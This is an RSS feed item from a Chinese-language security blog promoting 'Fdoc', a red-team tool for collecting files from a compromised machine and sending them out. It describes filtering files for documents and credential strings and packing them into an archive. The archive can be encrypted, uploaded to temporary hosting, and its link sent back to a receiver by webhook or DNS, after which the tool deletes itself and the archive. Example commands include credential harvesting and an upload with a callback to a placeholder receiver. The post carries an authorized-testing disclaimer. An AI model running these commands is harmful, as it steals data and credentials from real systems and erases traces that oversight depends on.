<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Exfiltration - 标签 - Simon's Blog</title><link>https://blog.leeissonba.com/tags/exfiltration/</link><description>Exfiltration - 标签 - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Tue, 21 Jul 2026 10:25:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/tags/exfiltration/" rel="self" type="application/rss+xml"/><item><title>Fdoc：条件打包、上传外带与回传</title><link>https://blog.leeissonba.com/fdoc-conditional-pack-exfil/</link><pubDate>Tue, 21 Jul 2026 10:25:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/fdoc-conditional-pack-exfil/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/featured.jpg" alt="Fdoc：条件打包、上传外带与回传" referrerpolicy="no-referrer">
            </div><p>拿到一台机器（或一段短暂的 shell）时，目标很少是「把磁盘原样镜像走」。更常见的是按条件筛一批文件、打成可控体积的包，再尽快带回操作侧。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试、应急响应与研究使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="1-使用场景">1. 使用场景</h2>
<p>更具体的需求通常包括：</p>
<ul>
<li><strong>类型筛选</strong>：只要特定类型——合同/报表 PDF、Office、配置、压缩包、近期改过的文档</li>
<li><strong>条件叠加</strong>：文件名带 密码/密码本、内容命中凭证写法（可用 <code>-keyword secrets</code>）、mtime 在某天之后</li>
<li><strong>体积与时间受限</strong>：不能无脑打包几十 GB，也不能在目标上挂太久</li>
<li><strong>结果回传</strong>：包打完还不够——文件在目标机上，如何把<strong>下载链接</strong>带回操作侧；父进程/C2 断了也要避免无法取回结果</li>
<li><strong>痕迹控制</strong>：传完尽量不把归档和工具本身留在盘上</li>
</ul>
<p>一个很具体的打法：<strong>刚拿到初始权限，先做一轮短时信息收集</strong>——用后缀/文件名/关键字把敏感配置、文档、表格、源码筛进包，外带回本地再审计。包里常见内网拓扑/地图、密码本、凭证表、运维手册之类，够支撑后续横向，而不是在目标机上慢慢翻盘。</p>
<p>红队外带、应急里抽关键证据、运维「只捞某目录某类文件」——本质都是<strong>选择性外带</strong>，不是备份，也不是全盘取证。</p>
<p><a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc</a> 就是按这个场景做的：在目标上筛、打包、（可选）传、（可选）把链接回传到接收端、（可选）清理。</p>
<h2 id="2-解决什么痛点">2. 解决什么痛点</h2>
<table>
	<thead>
			<tr>
					<th>痛点</th>
					<th>Fdoc 怎么对上</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>整盘/整目录打包又慢又大，真正有用的只占一小撮</td>
					<td>后缀/文件名/内容/日期组合过滤 + 默认 documents；凭证可用 <code>-keyword secrets</code></td>
			</tr>
			<tr>
					<td>先扫完全部路径再压，大目录内存和耗时难看</td>
					<td>流式 Walk + 写 tgz</td>
			</tr>
			<tr>
					<td>包在目标机上，会话一断链接拿不回来</td>
					<td>webhook / DNS 回传，和 C2 生命周期解耦</td>
			</tr>
			<tr>
					<td>临时托管哪个能用、体积限制各不相同</td>
					<td>按大小 auto probe + failover，也可指定渠道</td>
			</tr>
			<tr>
					<td>明文归档直接上传不放心</td>
					<td>可选加密</td>
			</tr>
			<tr>
					<td>传完还想少留工具和包</td>
					<td>可选 scrub；失败可观测（exit / <code>SCRUB_PARTIAL</code>）</td>
			</tr>
			<tr>
					<td>工具链拆太碎（打包器 + 上传器 + 解密器）</td>
					<td>一个二进制覆盖打包 / 上传 / 解密 / 渠道表</td>
			</tr>
	</tbody>
</table>
<p>一句话：</p>
<p><strong>在「只能短时间待在目标上、又只要部分文件、还得把结果弄回家」的约束下，Fdoc 把筛选、打包、外带和回传收成一条可脚本化的命令链。</strong></p>
<h2 id="3-大致逻辑">3. 大致逻辑</h2>
<p>一条主链路：</p>
<p><strong>解析参数 → 从 <code>-d</code> Walk → 按规则过滤 → 流式写入 <code>.tgz</code> →（可选）加密并上传临时托管 →（可选）webhook/DNS 回传 URL →（可选）scrub</strong></p>
<p>对每个文件，过滤是固定顺序的「且」条件链（未配置的项视为通过）：</p>
<p>跳过 <code>-x</code> 目录 → 普通文件或可跟随的文件 symlink → <code>-e</code> 后缀 → <code>-f</code> 文件名 → <code>-t</code> 日期 → <code>-k</code>/<code>-keyword</code> 内容 → <code>-max-file</code> → 是否触达 <code>-max</code> 总大小。</p>
<p>同一参数里逗号是「或」。例如：<code>-e pdf -f invoice -t 2024-01-01</code> 表示三者同时满足；<code>-keyword password:,token:</code> 表示内容命中其一即可。也可用预设：<code>-keyword secrets</code>（别名 <code>creds</code>）展开为赋值/JSON 凭证子串。条件细则与预设表见 <a href="#41-%e5%a4%9a%e6%9d%a1%e4%bb%b6%e7%ad%9b%e9%80%89%e6%96%87%e4%bb%b6" rel="">4.1 多条件筛选文件</a>。</p>
<p>体积与退出行为：</p>
<ul>
<li><strong>默认软上限</strong>：总预算按逻辑大小记账，默认 1GB；单文件 <code>-max-file</code> 默认关闭（<code>0</code>）</li>
<li><strong>未显式传 <code>-max</code></strong>：触达总预算时直接失败（exit 1），并提示显式加上（或 <code>-max 0</code> 关闭），避免静默截断</li>
<li><strong>显式传了 <code>-max</code></strong>：截断并保留已打部分（退出码 2）；若开了上传，残包仍可能被传上去——方便「先带走能带走的」</li>
<li><strong>超大单文件</strong>：需要跳过时再显式加 <code>-max-file</code></li>
</ul>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>先估再打<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">不清楚会匹配多大时，建议先跑 <code>-size</code>（只统计、不打包），看磁盘占用与逻辑大小，再决定是否打包或加 <code>-max</code>。</div>
    </div>
</div>
<p>不加 <code>-upload</code> 时只本地打包，不联网。加了之后才走探测渠道、上传和回传。</p>
<h2 id="4-特色功能">4. 特色功能</h2>
<h3 id="41-多条件筛选文件">4.1 多条件筛选文件</h3>
<p>可按后缀、文件名、内容、日期、跳过目录等收窄目标集；条件之间为「且」、同参逗号为「或」，规则见 <a href="#3-%e5%a4%a7%e8%87%b4%e9%80%bb%e8%be%91" rel="">3. 大致逻辑</a>。</p>
<table>
	<thead>
			<tr>
					<th>条件</th>
					<th>参数</th>
					<th>说明</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>后缀</td>
					<td><code>-e</code></td>
					<td>扩展名过滤；可写 <code>pdf,docx</code>，也可用预设少打字</td>
			</tr>
			<tr>
					<td>文件名</td>
					<td><code>-f</code></td>
					<td>路径名模糊包含（如 <code>invoice,secret</code>）</td>
			</tr>
			<tr>
					<td>内容关键字</td>
					<td><code>-k</code> / <code>-keyword</code></td>
					<td>在文件内容里搜（跳过明显二进制；单文件最多扫约 8MB）。字面量逗号=或；预设 <code>secrets</code>/<code>creds</code> 展开为 <code>password=</code>、<code>&quot;password&quot;:</code> 等赋值/JSON 变体，可混用字面量</td>
			</tr>
			<tr>
					<td>修改时间</td>
					<td><code>-t</code></td>
					<td>只收该日及之后改过的（<code>YYYY-MM-DD</code>）</td>
			</tr>
			<tr>
					<td>跳过目录</td>
					<td><code>-x</code></td>
					<td>默认有各 OS 缓存/垃圾目录列表；显式传 <code>-x</code> 会整表覆盖</td>
			</tr>
	</tbody>
</table>
<p><code>-e</code> 预设：</p>
<table>
	<thead>
			<tr>
					<th>取值</th>
					<th>含义</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>documents</code>（默认）</td>
					<td>pdf/doc/xls/ppt/csv</td>
			</tr>
			<tr>
					<td><code>all</code></td>
					<td>常见文档 + 压缩包 + config（仍不是磁盘上任意文件）</td>
			</tr>
			<tr>
					<td><code>any</code></td>
					<td>不限后缀</td>
			</tr>
			<tr>
					<td><code>pdf,txt,...</code></td>
					<td>显式列表</td>
			</tr>
	</tbody>
</table>
<p><code>-keyword</code> 预设：</p>
<table>
	<thead>
			<tr>
					<th>取值</th>
					<th>含义</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>secrets</code> / <code>creds</code></td>
					<td>凭证赋值/JSON 子串（<code>password:</code>、<code>password =</code>、<code>&quot;password&quot;:</code>、<code>api_key=</code>、<code>密码：</code> 等）；可写 <code>-keyword secrets,corp_sso=</code></td>
			</tr>
	</tbody>
</table>
<p>示例：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Fdoc -d /data -e pdf -f invoice -keyword <span class="s1">&#39;token:&#39;</span> -t 2025-01-01 -o hits.tgz
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz</span></span></code></pre></div></div>
<p>关于链接：Unix/macOS <strong>文件符号链接会跟随</strong>（内容取目标，入包名用链接路径）；目录 symlink 不进入。Windows <code>.lnk</code> 不解析目标，仅当 <code>-e</code> 命中时打包快捷方式文件本身。</p>
<h3 id="42-边扫边打带体积预算">4.2 边扫边打，带体积预算</h3>
<p>不先罗列再压缩，内存占用可控。<code>-size</code> 可先估再打。长任务有 <code>PACK_PROGRESS</code> / <code>UPLOAD_PROGRESS</code> 心跳，适合无头环境。</p>
<h3 id="43-内嵌上传按体积自动选临时渠道">4.3 内嵌上传：按体积自动选临时渠道</h3>
<p><code>-upload</code> 后按归档大小筛渠道、并行探测、按延迟 failover；也可用 <code>-b</code> 钉死某一渠道（演示里常见如 <code>-b lit</code>）。完整渠道名与体积阈值以 <code>Fdoc backends</code> 输出为准。无回传时 URL 打在 stdout，脚本好接；状态行在 stderr（<code>UPLOAD_OK</code> 等）。</p>
<h3 id="44-回传与会话解耦">4.4 回传与会话解耦</h3>
<p>配 <code>-webhook</code> / <code>-dns</code> 时，下载链接推到接收端：HTTPS webhook 优先，失败再用 DNSLog 分片。父会话挂了，仍可能从回传里捞 URL。stdout/stderr 分工固定，避免脚本和人工抢输出。</p>
<h3 id="45-上传前加密可选">4.5 上传前加密（可选）</h3>
<p><code>-encrypt -key</code>：AES-256-CBC，线格式带 <code>UP01</code> 魔数；远端统一 <code>.bin</code>，避免当成普通 gzip 解。内置 <code>Fdoc decrypt</code>，不必再带第二套工具。密钥是口令 pad 到 32 字节（不是 PBKDF2），按共享口令模型用即可。</p>
<h3 id="46-可选收尾-scrub">4.6 可选收尾 scrub</h3>
<p>上传成功（若配了回传则还要回传成功）后删归档和自身。Windows 上自删是 best-effort（延迟删 / 重启删），失败会 <code>SCRUB_PARTIAL</code> 并以非 0 退出。</p>
<h3 id="47-跨平台静态二进制">4.7 跨平台静态二进制</h3>
<p>发行物为无依赖静态单文件，覆盖 Linux / Windows / macOS（含 amd64 与 arm64）。同一套参数在各平台可用；Windows 上 scrub、SkipDirs、<code>.lnk</code> 行为见上文与发行说明。</p>
<h2 id="5-最小示例">5. 最小示例</h2>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 不清楚体积时先估大小</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -size
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 打包</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 配置/JSON 里捞凭证写法</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 上传，链接打到 stdout</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -o /tmp/docs.tgz -upload -q
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 加密上传 + webhook 回传 + 清理</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz <span class="se">\
</span></span></span><span class="line"><span class="cl">  -upload -encrypt -key <span class="s2">&#34;</span><span class="nv">$KEY</span><span class="s2">&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -webhook https://your.receiver/hook <span class="se">\
</span></span></span><span class="line"><span class="cl">  -scrub -q</span></span></code></pre></div></div>
<p>DNS 分片格式、加密磁盘占用、Windows SkipDirs 等细节见 <a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc 仓库 README</a>。</p>
<h2 id="6-终端演示">6. 终端演示</h2>
<p>下面四段演示覆盖主路径：估大小 → 多条件筛选打包 → 指定渠道上传 → 上传并 webhook 回传。</p>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" title="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-sub-html="<h2>估大小（-size）</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/01-size.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">估大小（<code>-size</code>）</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" title="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-sub-html="<h2>多条件筛选后打包</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">多条件筛选后打包</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" title="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-sub-html="<h2>上传（-b lit）</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">上传（<code>-b lit</code>）</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" title="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-sub-html="<h2>上传 &#43; webhook 回传</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">上传 + webhook 回传</figcaption>
    </figure>]]></description></item></channel></rss>